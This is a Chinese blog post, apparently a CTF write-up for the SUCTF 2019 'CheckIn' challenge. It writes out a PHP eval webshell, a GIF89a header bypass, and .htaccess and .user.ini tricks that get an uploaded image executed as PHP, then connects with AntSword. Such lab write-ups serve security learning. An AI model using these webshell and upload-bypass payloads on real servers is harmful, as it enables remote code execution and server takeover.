当前位置:网站首页>[SUCTF 2019]CheckIn (.htaccess和.user.ini)
[SUCTF 2019]CheckIn (.htaccess和.user.ini)
2022-08-09 23:19:00 【开心星人】
evil.php
<?php eval($_POST['evil'])?>
抓包修改Content-Type: image/jpeg
仍然是后缀名不合法
更改后缀名为php3、php4、phtml等都不行
将后缀名改成jpg(虽然绕过了,但是解析不了,所以没啥用)
换一个一句话木马
<script language="php">eval($_POST['evil'])</script>
进行了文件头的校验
GIF89a? <script language="php">eval($_POST['evil'])</script>
一般都是直接用这个就行了
成功了,但是无法解析
尝试.htaccess和.user.ini
.htaccess
<FilesMatch "evil.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
需要加个文件头绕过
GIF89a?
<FilesMatch "evil.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
意思是如果文件中有一个evil.jpg的文件,他就会被解析为.php
上传成功
访问evil.jpg即http://ec60414d-2ab8-462c-bb74-bc60f6a5597a.node4.buuoj.cn:81/uploads/uploads/c47b21fcf8f0bc8b3920541abd8024fd/evil.jpg
然后尝试使用antsword连接,但是发现连不上,不太确定哪里出了问题
尝试.user.ini
auto_prepend_file和auto_append_file
他们的作用就是指定一个文件(1.jpg),那么该文件就会被包含在要执行的php文件中(index.php)
.user.ini
GIF89a?
auto_prepend_file=evil.jpg
上传成功
但不知道什么原因(可能是时间限制,自动删除了),我们刚才上传的evil.jpg不在了,重新上传一下即可
然后访问http://ec60414d-2ab8-462c-bb74-bc60f6a5597a.node4.buuoj.cn:81/uploads/c47b21fcf8f0bc8b3920541abd8024fd/index.php
用antsword连接即可
边栏推荐
- [Cloud native] Kubernetes orchestration tools
- 知行合一的时候
- CST Studio Suite 2021 software installation package and installation tutorial
- 服务发现@EnableDiscoveryClient
- Golden Warehouse Database KingbaseGIS User Manual (6.4. Geometry Object Access Function)
- The technical aspects of the byte have been passed, and the salary has been negotiated for 20K*13, but the result is still being brushed. I asked the HR why...
- 【集训DAY5】堆箱子【数学】
- Today's sleep quality record 61 points
- ES6 从入门到精通 # 15:生成器 Generator 的用法
- 上交所实时行情文件汇总
猜你喜欢
【猜凶手,猜名次,杨辉三角】经典小学奥数的代码逻辑是什么?
YOLOV5 study notes (7) - training your own data set
Golden Warehouse Database KingbaseGIS User Manual (6.5. Geometry Object Editing Function)
[Cloud native] Kubernetes orchestration tools
【问题解决】训练和验证准确率很高,但测试准确率很低
【集训DAY4】异或【字典树】
了解什么是架构基本概念和架构本质
KingbaseGIS Jin Cang database using manual (6.3. Geometric object creation function)
Eureka自我保护
共创 Ray 中文社区,Ray Forward Meetup 2022 直播邀你参加!
随机推荐
【渗透工具】浏览器数据导出工具
Distributed database problem (3): data consistency
源码编译安装LAMP和LNMP
知行合一的时候
JVM内存和垃圾回收-10.直接内存
了解什么是架构基本概念和架构本质
【集训DAY5】堆箱子【数学】
领跑政务云,连续五年中国第一
IT传奇人物菲尔德的转型经验教训及给CIO的建议
【JZOF】77 Print binary tree in zigzag
二进制、八进制、十进制、十六进制之间的转换
framework源码读后感
微信小程序获取微信用户步数
61.【快速排序法详解】
【集训DAY4】异或【字典树】
ALV报表总结2022.8.9
上交所实时行情文件汇总
直播app开发搭建,flutter 实现自适应、自动换行、相对布局
基于 RocksDB 实现高可靠、低时延的 MQTT 数据持久化
直播间搭建,按钮左滑出现删除等操作按钮